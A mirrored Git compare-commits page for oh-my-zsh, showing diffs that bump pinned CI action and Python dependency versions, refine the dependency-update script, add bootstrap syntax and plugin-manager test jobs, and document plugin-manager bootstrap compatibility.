mirror of
https://github.com/robbyrussell/oh-my-zsh.git
synced 2026-09-27 21:46:08 +02:00
Compare commits
147
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78c871176f | ||
|
|
1595e00f7c | ||
|
|
eb62826522 | ||
|
|
c15b32baa4 | ||
|
|
ffd4c95a4f | ||
|
|
4cdd45338c | ||
|
|
8e5be2cb3a | ||
|
|
97e11051e2 | ||
|
|
178813b7b9 | ||
|
|
0e98520c5b | ||
|
|
b54a719775 | ||
|
|
1f9511f132 | ||
|
|
97b27bb2ec | ||
|
|
99aaf58d00 | ||
|
|
6f39351fef | ||
|
|
069512d14a | ||
|
|
0912e05c05 | ||
|
|
076d692dac | ||
|
|
7e2aa2c8cb | ||
|
|
ab84cca50a | ||
|
|
a4a224b3fe | ||
|
|
898b579cf5 | ||
|
|
bc0d7fa6ab | ||
|
|
ed19f8ffcf | ||
|
|
26b4e0a8c0 | ||
|
|
a8afe14b93 | ||
|
|
be0dfaad6b | ||
|
|
14200130f0 | ||
|
|
ad586ffeca | ||
|
|
da368d6468 | ||
|
|
6adfef3a8b | ||
|
|
c5ba74cf02 | ||
|
|
7ea697fd81 | ||
|
|
d26b91b3fe | ||
|
|
64c49681f1 | ||
|
|
f5f46df291 | ||
|
|
9e67851a2f | ||
|
|
2ea792fd9b | ||
|
|
bce9fec859 | ||
|
|
12eb42de60 | ||
|
|
f25287d881 | ||
|
|
b37dd49ca5 | ||
|
|
e1d1f0dcd5 | ||
|
|
59a9740721 | ||
|
|
98fe9b81a6 | ||
|
|
f2546022a5 | ||
|
|
677a4592b1 | ||
|
|
8c8782e362 | ||
|
|
51e98fadc9 | ||
|
|
19962acc06 | ||
|
|
ff2f16e8df | ||
|
|
81becab1e7 | ||
|
|
65749801cf | ||
|
|
d2379b2701 | ||
|
|
ff1df9a039 | ||
|
|
639b566f0e | ||
|
|
df34d2b8d5 | ||
|
|
96ea17080a | ||
|
|
0a91ce20d5 | ||
|
|
9a67e3b3f5 | ||
|
|
d708ca9d99 | ||
|
|
ffa8487bc7 | ||
|
|
3f6f72010f | ||
|
|
5181447da8 | ||
|
|
c954bbb168 | ||
|
|
630a7c04c3 | ||
|
|
e25f96735e | ||
|
|
70ad5e3df8 | ||
|
|
b86a99da17 | ||
|
|
cfdc4822d4 | ||
|
|
c86ba78e2f | ||
|
|
d170d18746 | ||
|
|
c90141ed77 | ||
|
|
8eff9a5455 | ||
|
|
5ddb7fedcc | ||
|
|
ddcdc26692 | ||
|
|
fb03e414ee | ||
|
|
b26b500263 | ||
|
|
fe11a3ae23 | ||
|
|
87a9b16b72 | ||
|
|
857a646516 | ||
|
|
5ef67beadb | ||
|
|
d633270784 | ||
|
|
43c68566be | ||
|
|
cb64103161 | ||
|
|
0eecd2821e | ||
|
|
2a5313a9d0 | ||
|
|
24959d5817 | ||
|
|
efd6135bf5 | ||
|
|
c68e752b1b | ||
|
|
8d0ff417c3 | ||
|
|
80a6f169c7 | ||
|
|
c4e39ad56b | ||
|
|
7478f1fd22 | ||
|
|
a07126330b | ||
|
|
1381fec0bf | ||
|
|
3604dc23e0 | ||
|
|
8ab16fa493 | ||
|
|
e64912e0c1 | ||
|
|
c24960c324 | ||
|
|
571439d06b | ||
|
|
ff8297b0a9 | ||
|
|
e7aa0c56e6 | ||
|
|
2d5841740a | ||
|
|
278ee100fc | ||
|
|
52c830cd32 | ||
|
|
8c3cce964a | ||
|
|
d50115afd6 | ||
|
|
232c6e4d8d | ||
|
|
50c56eb49b | ||
|
|
bbe8cace5a | ||
|
|
349b9e49ce | ||
|
|
a4ee4daf3c | ||
|
|
7a6357cbf6 | ||
|
|
106b887c1f | ||
|
|
e42ac8c57b | ||
|
|
061f773dd3 | ||
|
|
c53cfb2de4 | ||
|
|
1708d84b70 | ||
|
|
46c673072e | ||
|
|
7c10d9839f | ||
|
|
103246c198 | ||
|
|
887a864aba | ||
|
|
d1fb3ebfc7 | ||
|
|
beab0c0b3c | ||
|
|
f0e2160abb | ||
|
|
9e2c1548c3 | ||
|
|
cb13cc539f | ||
|
|
76ffd9e22a | ||
|
|
11c1718983 | ||
|
|
9151236d1e | ||
|
|
7e7cb5a23c | ||
|
|
2614f529ce | ||
|
|
df64afb062 | ||
|
|
21dbafa904 | ||
|
|
cfad9e07f6 | ||
|
|
44394e7225 | ||
|
|
4daba14316 | ||
|
|
bec3f2244a | ||
|
|
b42f22643a | ||
|
|
7de13621b3 | ||
|
|
8df5c1b18b | ||
|
|
d1222044bc | ||
|
|
44c0e856f8 | ||
|
|
2bc4538c36 | ||
|
|
1e3abc123f | ||
|
|
abc2372919 |
@@ -6,9 +6,23 @@ updates:
|
|||||||
interval: "weekly"
|
interval: "weekly"
|
||||||
day: "sunday"
|
day: "sunday"
|
||||||
labels: []
|
labels: []
|
||||||
|
groups:
|
||||||
|
gha-minor:
|
||||||
|
patterns:
|
||||||
|
- "*"
|
||||||
|
update-types:
|
||||||
|
- minor
|
||||||
|
- patch
|
||||||
- package-ecosystem: "pip"
|
- package-ecosystem: "pip"
|
||||||
directory: "/.github/workflows/dependencies"
|
directory: "/.github/workflows/dependencies"
|
||||||
schedule:
|
schedule:
|
||||||
interval: "weekly"
|
interval: "weekly"
|
||||||
day: "sunday"
|
day: "sunday"
|
||||||
labels: []
|
labels: []
|
||||||
|
groups:
|
||||||
|
py-minor:
|
||||||
|
patterns:
|
||||||
|
- "*"
|
||||||
|
update-types:
|
||||||
|
- minor
|
||||||
|
- patch
|
||||||
|
|||||||
@@ -12,14 +12,14 @@ dependencies:
|
|||||||
plugins/gradle:
|
plugins/gradle:
|
||||||
repo: gradle/gradle-completion
|
repo: gradle/gradle-completion
|
||||||
branch: master
|
branch: master
|
||||||
version: a9d7c822e42cc6a5b028b59e46cffcc8e7bc1134
|
version: 63578c9bc56134b80766e88957ba0239e6be2343
|
||||||
precopy: |
|
precopy: |
|
||||||
set -e
|
set -e
|
||||||
find . ! -name _gradle ! -name LICENSE -delete
|
find . ! -name _gradle ! -name LICENSE -delete
|
||||||
plugins/history-substring-search:
|
plugins/history-substring-search:
|
||||||
repo: zsh-users/zsh-history-substring-search
|
repo: zsh-users/zsh-history-substring-search
|
||||||
branch: master
|
branch: master
|
||||||
version: 87ce96b1862928d84b1afe7c173316614b30e301
|
version: 14c8d2e0ffaee98f2df9850b19944f32546fdea5
|
||||||
precopy: |
|
precopy: |
|
||||||
set -e
|
set -e
|
||||||
rm -f zsh-history-substring-search.plugin.zsh
|
rm -f zsh-history-substring-search.plugin.zsh
|
||||||
@@ -30,7 +30,7 @@ dependencies:
|
|||||||
plugins/kube-ps1:
|
plugins/kube-ps1:
|
||||||
repo: jonmosco/kube-ps1
|
repo: jonmosco/kube-ps1
|
||||||
branch: master
|
branch: master
|
||||||
version: 9b41c091d5dd4a99e58cf58b5d98a4847937b1bb
|
version: 04af46f7fe888ad287abcab6699b9bb10234bc3d
|
||||||
precopy: |
|
precopy: |
|
||||||
set -e
|
set -e
|
||||||
find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
|
find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
|
||||||
@@ -46,9 +46,10 @@ dependencies:
|
|||||||
plugins/z:
|
plugins/z:
|
||||||
branch: master
|
branch: master
|
||||||
repo: agkozak/zsh-z
|
repo: agkozak/zsh-z
|
||||||
version: cf9225feebfae55e557e103e95ce20eca5eff270
|
version: 102fb78036ed76feedf623907483691777a1d510
|
||||||
precopy: |
|
precopy: |
|
||||||
set -e
|
set -e
|
||||||
|
rm -r tests
|
||||||
test -e README.md && mv -f README.md MANUAL.md
|
test -e README.md && mv -f README.md MANUAL.md
|
||||||
postcopy: |
|
postcopy: |
|
||||||
set -e
|
set -e
|
||||||
|
|||||||
@@ -4,6 +4,9 @@ on:
|
|||||||
schedule:
|
schedule:
|
||||||
- cron: "0 6 * * 0"
|
- cron: "0 6 * * 0"
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
check:
|
check:
|
||||||
name: Check for updates
|
name: Check for updates
|
||||||
@@ -13,22 +16,22 @@ jobs:
|
|||||||
contents: write # this is needed to push commits and branches
|
contents: write # this is needed to push commits and branches
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
|
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
with:
|
with:
|
||||||
fetch-depth: 0
|
fetch-depth: 0
|
||||||
- name: Authenticate as @ohmyzsh
|
- name: Authenticate as @ohmyzsh
|
||||||
id: generate-token
|
id: generate-token
|
||||||
uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
|
uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
|
||||||
with:
|
with:
|
||||||
app-id: ${{ secrets.OHMYZSH_APP_ID }}
|
client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
|
||||||
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
||||||
- name: Setup Python
|
- name: Setup Python
|
||||||
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
|
||||||
with:
|
with:
|
||||||
python-version: "3.12"
|
python-version: "3.12"
|
||||||
cache: "pip"
|
cache: "pip"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
certifi==2026.2.25
|
certifi==2026.7.22
|
||||||
charset-normalizer==3.4.4
|
charset-normalizer==3.5.0
|
||||||
idna==3.11
|
idna==3.18
|
||||||
PyYAML==6.0.3
|
PyYAML==6.0.3
|
||||||
requests==2.32.5
|
requests==2.34.2
|
||||||
semver==3.0.4
|
semver==3.0.4
|
||||||
urllib3==2.6.3
|
urllib3==2.7.0
|
||||||
|
|||||||
@@ -219,6 +219,7 @@ class Dependency:
|
|||||||
if status["has_updates"] is True:
|
if status["has_updates"] is True:
|
||||||
short_sha = status["head_ref"][:8]
|
short_sha = status["head_ref"][:8]
|
||||||
new_version = status["version"] if is_tag else short_sha
|
new_version = status["version"] if is_tag else short_sha
|
||||||
|
source_ref = new_version if is_tag else status["head_ref"]
|
||||||
|
|
||||||
try:
|
try:
|
||||||
branch_name = f"update/{self.path}/{new_version}"
|
branch_name = f"update/{self.path}/{new_version}"
|
||||||
@@ -227,7 +228,7 @@ class Dependency:
|
|||||||
branch = Git.checkout_or_create_branch(branch_name)
|
branch = Git.checkout_or_create_branch(branch_name)
|
||||||
|
|
||||||
# Update dependency files
|
# Update dependency files
|
||||||
self.__apply_upstream_changes()
|
self.__apply_upstream_changes(source_ref)
|
||||||
|
|
||||||
if not Git.repo_is_clean():
|
if not Git.repo_is_clean():
|
||||||
# Update dependencies.yml file
|
# Update dependencies.yml file
|
||||||
@@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}).
|
|||||||
dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
|
dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
|
||||||
DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
|
DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
|
||||||
|
|
||||||
def __apply_upstream_changes(self) -> None:
|
def __apply_upstream_changes(self, ref: str) -> None:
|
||||||
# Patterns to ignore in copying files from upstream repo
|
# Patterns to ignore in copying files from upstream repo
|
||||||
GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
|
GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
|
||||||
|
|
||||||
@@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}).
|
|||||||
postcopy = self.values.get("postcopy")
|
postcopy = self.values.get("postcopy")
|
||||||
|
|
||||||
repo = self.values["repo"]
|
repo = self.values["repo"]
|
||||||
branch = self.values["branch"]
|
|
||||||
remote_url = f"https://github.com/{repo}.git"
|
remote_url = f"https://github.com/{repo}.git"
|
||||||
repo_dir = os.path.join(TMP_DIR, repo)
|
repo_dir = os.path.join(TMP_DIR, repo)
|
||||||
|
|
||||||
# Clone repository
|
# Clone repository
|
||||||
Git.clone(remote_url, branch, repo_dir, reclone=True)
|
Git.clone(remote_url, ref, repo_dir, reclone=True)
|
||||||
|
|
||||||
# Run precopy on tmp repo
|
# Run precopy on tmp repo
|
||||||
if precopy is not None:
|
if precopy is not None:
|
||||||
@@ -348,7 +348,7 @@ class Git:
|
|||||||
default_branch = "master"
|
default_branch = "master"
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
|
def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
|
||||||
# If repo needs to be fresh
|
# If repo needs to be fresh
|
||||||
if reclone and os.path.exists(repo_dir):
|
if reclone and os.path.exists(repo_dir):
|
||||||
shutil.rmtree(repo_dir)
|
shutil.rmtree(repo_dir)
|
||||||
@@ -356,11 +356,11 @@ class Git:
|
|||||||
# Clone repo in tmp directory and checkout branch
|
# Clone repo in tmp directory and checkout branch
|
||||||
if not os.path.exists(repo_dir):
|
if not os.path.exists(repo_dir):
|
||||||
print(
|
print(
|
||||||
f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
|
f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
|
||||||
file=sys.stderr,
|
file=sys.stderr,
|
||||||
)
|
)
|
||||||
CommandRunner.run_or_fail(
|
CommandRunner.run_or_fail(
|
||||||
["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
|
["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
|
||||||
stage="Clone",
|
stage="Clone",
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -392,13 +392,15 @@ class Git:
|
|||||||
Returns `False` if the repo is dirty.
|
Returns `False` if the repo is dirty.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
CommandRunner.run_or_fail(
|
result = CommandRunner.run_or_fail(
|
||||||
["git", "diff", "--exit-code"], stage="CheckRepoClean"
|
["git", "status", "--porcelain", "--untracked-files=normal"],
|
||||||
|
stage="CheckRepoClean",
|
||||||
)
|
)
|
||||||
return True
|
|
||||||
except CommandRunner.Exception:
|
except CommandRunner.Exception:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
return result.stdout.strip() == b""
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_and_commit(scope: str, version: str) -> bool:
|
def add_and_commit(scope: str, version: str) -> bool:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -26,12 +26,12 @@ jobs:
|
|||||||
- macos-latest
|
- macos-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
|
|
||||||
- name: Set up git repository
|
- name: Set up git repository
|
||||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
- name: Install zsh
|
- name: Install zsh
|
||||||
if: runner.os == 'Linux'
|
if: runner.os == 'Linux'
|
||||||
run: sudo apt-get update; sudo apt-get install zsh
|
run: sudo apt-get update; sudo apt-get install zsh
|
||||||
@@ -47,12 +47,12 @@ jobs:
|
|||||||
- test
|
- test
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
|
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
- name: Install Vercel CLI
|
- name: Install Vercel CLI
|
||||||
run: npm install -g vercel
|
run: npm install -g vercel
|
||||||
- name: Setup project and deploy
|
- name: Setup project and deploy
|
||||||
|
|||||||
@@ -24,12 +24,12 @@ jobs:
|
|||||||
if: github.repository == 'ohmyzsh/ohmyzsh'
|
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
|
|
||||||
- name: Set up git repository
|
- name: Set up git repository
|
||||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
- name: Install zsh
|
- name: Install zsh
|
||||||
run: sudo apt-get update; sudo apt-get install zsh
|
run: sudo apt-get update; sudo apt-get install zsh
|
||||||
- name: Check syntax
|
- name: Check syntax
|
||||||
@@ -41,3 +41,49 @@ jobs:
|
|||||||
./themes/*.zsh-theme; do
|
./themes/*.zsh-theme; do
|
||||||
zsh -n "$file" || return 1
|
zsh -n "$file" || return 1
|
||||||
done
|
done
|
||||||
|
|
||||||
|
- name: Focused syntax check for bootstrap-adjacent touched files
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: |
|
||||||
|
mapfile -t touched < <(
|
||||||
|
git diff --name-only "${{ github.event.pull_request.base.sha }}" "${{ github.sha }}" \
|
||||||
|
| grep -E '^(lib/bootstrap\.zsh|lib/tests/bootstrap.*\.zsh|oh-my-zsh\.sh|lib/(completion|compfix|functions|theme-and-appearance)\.zsh|plugins/.+/.+\.plugin\.zsh|themes/.+\.zsh-theme)$' \
|
||||||
|
|| true
|
||||||
|
)
|
||||||
|
|
||||||
|
if [ "${#touched[@]}" -eq 0 ]; then
|
||||||
|
echo "No bootstrap-adjacent files touched"
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
for file in "${touched[@]}"; do
|
||||||
|
echo "Syntax checking $file"
|
||||||
|
zsh -n "$file"
|
||||||
|
done
|
||||||
|
|
||||||
|
- name: Run bootstrap unit test
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: zsh ./lib/tests/bootstrap.test.zsh
|
||||||
|
|
||||||
|
- name: Run inline bootstrap invariants smoke test
|
||||||
|
if: github.event_name == 'pull_request'
|
||||||
|
run: zsh ./lib/tests/bootstrap-inline-ci.test.zsh
|
||||||
|
|
||||||
|
plugin-manager-smoke:
|
||||||
|
name: Plugin manager smoke (${{ matrix.manager }}:${{ matrix.scenario }})
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: github.repository == 'ohmyzsh/ohmyzsh' && github.event_name == 'pull_request'
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
manager: [antigen, zinit]
|
||||||
|
scenario: [positive, negative]
|
||||||
|
steps:
|
||||||
|
- name: Set up git repository
|
||||||
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
|
|
||||||
|
- name: Install zsh
|
||||||
|
run: sudo apt-get update; sudo apt-get install zsh
|
||||||
|
|
||||||
|
- name: Run plugin-manager bootstrap integration
|
||||||
|
run: zsh ./lib/tests/plugin-manager-bootstrap-integration.test.zsh "${{ matrix.manager }}" "${{ matrix.scenario }}"
|
||||||
|
|||||||
@@ -0,0 +1,37 @@
|
|||||||
|
name: Plugin manager integration (advisory)
|
||||||
|
|
||||||
|
on:
|
||||||
|
schedule:
|
||||||
|
- cron: '0 6 * * *'
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: read
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
plugin-manager-matrix:
|
||||||
|
name: ${{ matrix.manager }}:${{ matrix.scenario }}
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||||
|
continue-on-error: true
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
manager: [antigen, zinit, zgen, zplug, antibody, zulu]
|
||||||
|
scenario: [positive, negative]
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Set up git repository
|
||||||
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
|
|
||||||
|
- name: Install zsh and go
|
||||||
|
run: sudo apt-get update; sudo apt-get install zsh golang
|
||||||
|
|
||||||
|
- name: Run plugin-manager bootstrap integration
|
||||||
|
run: zsh ./lib/tests/plugin-manager-bootstrap-integration.test.zsh "${{ matrix.manager }}" "${{ matrix.scenario }}"
|
||||||
|
|
||||||
|
- name: Rollout note
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
echo "Phase 2 active: full manager matrix is advisory/nightly."
|
||||||
|
echo "Phase 3 target: promote full matrix to required after stability window."
|
||||||
@@ -17,14 +17,14 @@ jobs:
|
|||||||
if: github.repository == 'ohmyzsh/ohmyzsh'
|
if: github.repository == 'ohmyzsh/ohmyzsh'
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
- name: Authenticate as @ohmyzsh
|
- name: Authenticate as @ohmyzsh
|
||||||
id: generate-token
|
id: generate-token
|
||||||
uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
|
uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
|
||||||
with:
|
with:
|
||||||
app-id: ${{ secrets.OHMYZSH_APP_ID }}
|
client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
|
||||||
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
|
||||||
- name: Read project data
|
- name: Read project data
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -36,30 +36,30 @@ jobs:
|
|||||||
|
|
||||||
steps:
|
steps:
|
||||||
- name: Harden the runner (Audit all outbound calls)
|
- name: Harden the runner (Audit all outbound calls)
|
||||||
uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
|
uses: step-security/harden-runner@b09bb98e06d4d774595224525879c09bc6e98c40 # v2.20.1
|
||||||
with:
|
with:
|
||||||
egress-policy: audit
|
egress-policy: audit
|
||||||
|
|
||||||
- name: "Checkout code"
|
- name: "Checkout code"
|
||||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||||
with:
|
with:
|
||||||
persist-credentials: false
|
persist-credentials: false
|
||||||
|
|
||||||
- name: "Run analysis"
|
- name: "Run analysis"
|
||||||
uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
|
uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
|
||||||
with:
|
with:
|
||||||
results_file: results.sarif
|
results_file: results.sarif
|
||||||
results_format: sarif
|
results_format: sarif
|
||||||
publish_results: true
|
publish_results: true
|
||||||
|
|
||||||
- name: "Upload artifact"
|
- name: "Upload artifact"
|
||||||
uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
|
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||||
with:
|
with:
|
||||||
name: SARIF file
|
name: SARIF file
|
||||||
path: results.sarif
|
path: results.sarif
|
||||||
retention-days: 5
|
retention-days: 5
|
||||||
|
|
||||||
- name: "Upload to code-scanning"
|
- name: "Upload to code-scanning"
|
||||||
uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4
|
uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4.37.7
|
||||||
with:
|
with:
|
||||||
sarif_file: results.sarif
|
sarif_file: results.sarif
|
||||||
|
|||||||
@@ -4,7 +4,12 @@ custom/
|
|||||||
# temp files directories
|
# temp files directories
|
||||||
cache/
|
cache/
|
||||||
log/
|
log/
|
||||||
|
|
||||||
|
# Vim swap/backup files
|
||||||
*.swp
|
*.swp
|
||||||
|
*.swo
|
||||||
|
|
||||||
|
# macOS system files
|
||||||
.DS_Store
|
.DS_Store
|
||||||
|
|
||||||
# editor configs
|
# editor configs
|
||||||
@@ -13,3 +18,4 @@ log/
|
|||||||
|
|
||||||
# zcompile cached files
|
# zcompile cached files
|
||||||
*.zwc
|
*.zwc
|
||||||
|
*.zwc.old
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ you would make is not already covered.
|
|||||||
- [A note on AI-assisted contributions](#a-note-on-ai-assisted-contributions)
|
- [A note on AI-assisted contributions](#a-note-on-ai-assisted-contributions)
|
||||||
- [Use the Search, Luke](#use-the-search-luke)
|
- [Use the Search, Luke](#use-the-search-luke)
|
||||||
- [Commit Guidelines](#commit-guidelines)
|
- [Commit Guidelines](#commit-guidelines)
|
||||||
|
- [Plugin And Theme Bootstrap Compatibility](#plugin-and-theme-bootstrap-compatibility)
|
||||||
- [Format](#format)
|
- [Format](#format)
|
||||||
- [Style](#style)
|
- [Style](#style)
|
||||||
- [Volunteer](#volunteer)
|
- [Volunteer](#volunteer)
|
||||||
@@ -176,6 +177,24 @@ specification. The automatic changelog tool uses these to automatically generate
|
|||||||
a changelog based on the commit messages. Here's a guide to writing a commit message
|
a changelog based on the commit messages. Here's a guide to writing a commit message
|
||||||
to allow this:
|
to allow this:
|
||||||
|
|
||||||
|
### Plugin And Theme Bootstrap Compatibility
|
||||||
|
|
||||||
|
Oh My Zsh now provides a shared bootstrap entrypoint at `lib/bootstrap.zsh` for plugin-manager setups that don't
|
||||||
|
source `oh-my-zsh.sh`.
|
||||||
|
|
||||||
|
When working on plugins/themes:
|
||||||
|
|
||||||
|
- assume bootstrap has already run in manager-driven setups
|
||||||
|
- rely on bootstrap guarantees (`ZSH*` defaults, cache/completions setup, required `fpath` entries)
|
||||||
|
- avoid adding per-plugin/per-theme copies of common setup unless truly plugin-specific
|
||||||
|
|
||||||
|
Common patterns we should migrate away from over time:
|
||||||
|
|
||||||
|
- repeated cache setup logic (`mkdir -p "$ZSH_CACHE_DIR/completions"`)
|
||||||
|
- repeated base `fpath` bootstrapping for OMZ core/custom directories
|
||||||
|
|
||||||
|
If your plugin/theme still needs custom initialization, keep it scoped to that plugin/theme behavior only.
|
||||||
|
|
||||||
### Format
|
### Format
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -46,7 +46,8 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
|
|||||||
- [Manual Installation](#manual-installation)
|
- [Manual Installation](#manual-installation)
|
||||||
- [Installation Problems](#installation-problems)
|
- [Installation Problems](#installation-problems)
|
||||||
- [Custom Plugins And Themes](#custom-plugins-and-themes)
|
- [Custom Plugins And Themes](#custom-plugins-and-themes)
|
||||||
- [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
|
- [Using Plugin Managers Without `oh-my-zsh.sh`](#using-plugin-managers-without-oh-my-zshsh)
|
||||||
|
- [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
|
||||||
- [Skip Aliases](#skip-aliases)
|
- [Skip Aliases](#skip-aliases)
|
||||||
- [Async git prompt](#async-git-prompt)
|
- [Async git prompt](#async-git-prompt)
|
||||||
- [Getting Updates](#getting-updates)
|
- [Getting Updates](#getting-updates)
|
||||||
@@ -70,7 +71,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
|
|||||||
| O/S | Status |
|
| O/S | Status |
|
||||||
| :------------- | :----: |
|
| :------------- | :----: |
|
||||||
| Android | ✅ |
|
| Android | ✅ |
|
||||||
| freeBSD | ✅ |
|
| FreeBSD | ✅ |
|
||||||
| LCARS | 🛸 |
|
